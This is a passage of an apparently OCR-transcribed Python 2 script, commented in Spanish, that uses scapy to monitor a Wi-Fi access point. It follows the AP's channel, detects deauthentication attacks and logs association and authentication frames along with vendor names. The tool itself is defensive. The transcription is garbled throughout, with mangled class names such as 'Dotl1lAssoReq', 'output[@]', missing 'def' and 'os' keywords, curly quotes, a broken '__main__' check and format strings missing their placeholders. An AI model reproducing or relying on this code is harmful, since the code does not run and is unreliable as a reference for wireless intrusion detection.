etime.today())) + bcolors.ENDC

except:
print bcolors.FAIL + "[ %s ] Error configurando la interfaz %s en modo managed" %(str(datet
ime.datetime.today()),iwifi_managed) + bcolors.ENDC
else:
print bcolors.OKCYAN + “[ %s ] La interfaz managed ya estaba configurada." %(str(datetime.datet
.today())) + bcolors.ENDC

config canal(nuevo_canal):
baja_interfaz_managed = 'ifconfig %s down' %(iwifi_managed)
cambia_canal_interfaz = 'iw dev %s set channel %s >/dev/null 2>&1' % (iwifi_mon,nuevo_canal)
levanta_interfaz_managed = 'ifconfig %s up' %(iwifi_managed)
try:
.system(baja_interfaz_managed)

os.system(cambia_canal_interfaz)

os.system(levanta_interfaz_managed)
except:

print bcolors.FAIL + "[ %s ] Error estableciendo el canal %s en la interfaz %s." %(str(datetime

.datetime.today()),nuevo canal,iwifi_mon) + bcolors.ENDC




def detecta_canal_wifi():

levanta_interfaz_managed = 'ifconfig %s up' %(iwifi_managed)
try:
os.system(levanta_interfaz_managed)
except:
print bcolors.FAIL + "[ %s ] Error levantando la interfaz managed: %s." %(str(datetime.datetime
.today()),iwifi_managed) + bcolors.ENDC
comando_iwlist = "iwlist %s scanning | grep -al %s | grep Channel | cut -d ':' -
2" %(iwifi_managed,BSSID)
process = subprocess.Popen(comando_iwlist, stdout=subprocess.PIPE, stderr=None, shell=True)
process.wait()
output = process.communicate()
canal = output[@].rstrip(‘\n")
if not canal:
print bcolors.WARNING + "[ %s ] Ha habido un problema al detectar el canal." %(str(datetime.dat
etime.today())) + bcolors.ENDC
else:
print bcolors.OKGREEN + "[ %s ] Detectado canal AP: %s" %(str(datetime.datetime.today()),canal)
+ bcolors.ENDC

return canal

def analiza_canal(canal):
canal_actual = canal
while True:
try:

time.sleep(check_canal)

print bcolors.OKBLUE + "[ %s ] Analizamos Canal" %(str(datetime.datetime.today())) + bcolor

nuevo_canal = detecta_canal_wifi()

if ((nuevo_canal != "") and (canal_actual != nuevo_canal)):
config_canal(nuevo_canal)
canal_actual = nuevo_canal
else:
print bcolors.OKBLUE + "[ %s ] No hay cambio de canal. Canal actual: %s" %(str(datetime
.datetime.today()),canal_actual) + bcolors.ENDC
except KeyboardInterrupt:

break

def finaliza_proceso(signal, frame):
hilo_canal.terminate()
hilo_canal.join()

print bcolors.BOLD + "Finalizando procesos..." + bcolors.ENDC




sys.exit(0)

def analiza_paquetes(pkt):
global fecha_ataque_detectado,intervalo

fecha=datetime.datetime.today()

if pkt.haslayer(DotllDeauth):

if (pkt.sprintf("%DotllDeauth.reason%").startswith('class3-from-
nonass') and time.time()>(fecha_ataque_detectado + intervalo)):
fecha_ataque_detectado = time.time()
if (pkt.addrl.upper()=="FF:FF:FF:FF:FF:FF"):
print bcolors.FAIL + "[ %s ] jii ATENCION !!! Ataque detectado tipo Broadcast: %s --
> Cliente afectado: %s" %(str(fecha),str(pkt.addrl),str(pkt.addr2)) + bcolors.ENDC
else:
if (pkt.addrl==pkt.addr3): cliente=pkt.addr2
else: cliente=pkt.addrl

if (pkt.addr3.upper()==BSSID):
print bcolors.FAIL + "[ %s ] jii ATENCION !!! Ataque detectado tipo Dirigido a clie
nte. MAC AP: %s --> Cliente afectado: %s" %(str(fecha),str(pkt.addr3),str(cliente)) + bcolors.ENDC
elif pkt.haslayer(Dotl1lAssoReq):
cliente=pkt.addr2
ap=pkt.info
bssid=pkt.addrl
fabricante=obtiene_fabricante(str(pkt.addr2))

if (bssid.upper()==BSSID):

print bcolors.OKGREEN + "[ %s ] Peticion de asociacion. Cliente: %s, AP: %s, BSSID: %s, Fab

ricante: %s" %(str(fecha),str(cliente),str(ap),str(bssid),fabricante) + bcolors.ENDC

elif pkt.haslayer(Dot11Auth):
dirl=pkt.addrl
dir2=pkt.addr2
bssid=pkt.addr3
if (dirl==bssid and bssid.upper()==BSSID):
fabricante=obtiene_fabricante(str(pkt.addr2))
print bcolors.OKGREEN + "[ %s ] Autenticacion AP -
> Cliente. Cliente: %s, BSSID: %s, Fabricante: %s" %(str(fecha),str(dir2),str(bssid),fabricante) + bcol
ors.ENDC
else:
fabricante=obtiene_fabricante(str(pkt.addrl))
if (bssid.upper()==BSSID):
print bcolors.OKGREEN + "[ %s ] Autenticacion Cliente -
> AP. Cliente: %s, BSSID: %s, Fabricante: %s" %(str(fecha),str(dirl),str(bssid),fabricante) + bcolors.E
NDC




elif pkt.haslayer(Dotl1AssoResp):
cliente=pkt.addri
bssid=pkt.addr2
fabricante=obtiene_fabricante(str(pkt.addrl))
if (bssid.upper()==BSSID):
print bcolors.WARNING + "[ ] Respuesta Asociacion. Cliente: , BSSID:
" %(str(fecha),str(cliente),str(bssid),fabricante) + bcolors.ENDC

obtiene_fabricante(mac):
mac_normalizado=EUI(mac)
try:
fabricante=mac_normalizado.oui.registration().org
except NotRegisteredError:
fabricante="Fabricante no encontrado"

return fabricante

if __name__ == "_ _main__

if os.geteuid():
sys.exit("ERROR: Iniciar el programa como root o sudo")
config iwifi_managed()

canal_actual=detecta_canal_wifi()

config_iwifi_mon()

config canal(canal_actual)

hilo_canal=Process(target=analiza_canal, args=(canal_actual,))

hilo_canal.start()

signal.signal(signal.SIGINT, finaliza_proceso)

sniff(iface=iwifi mon,prn=analiza paquetes,count=0,1filter= pkt:Dotl1l in pkt)
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Fabricante:




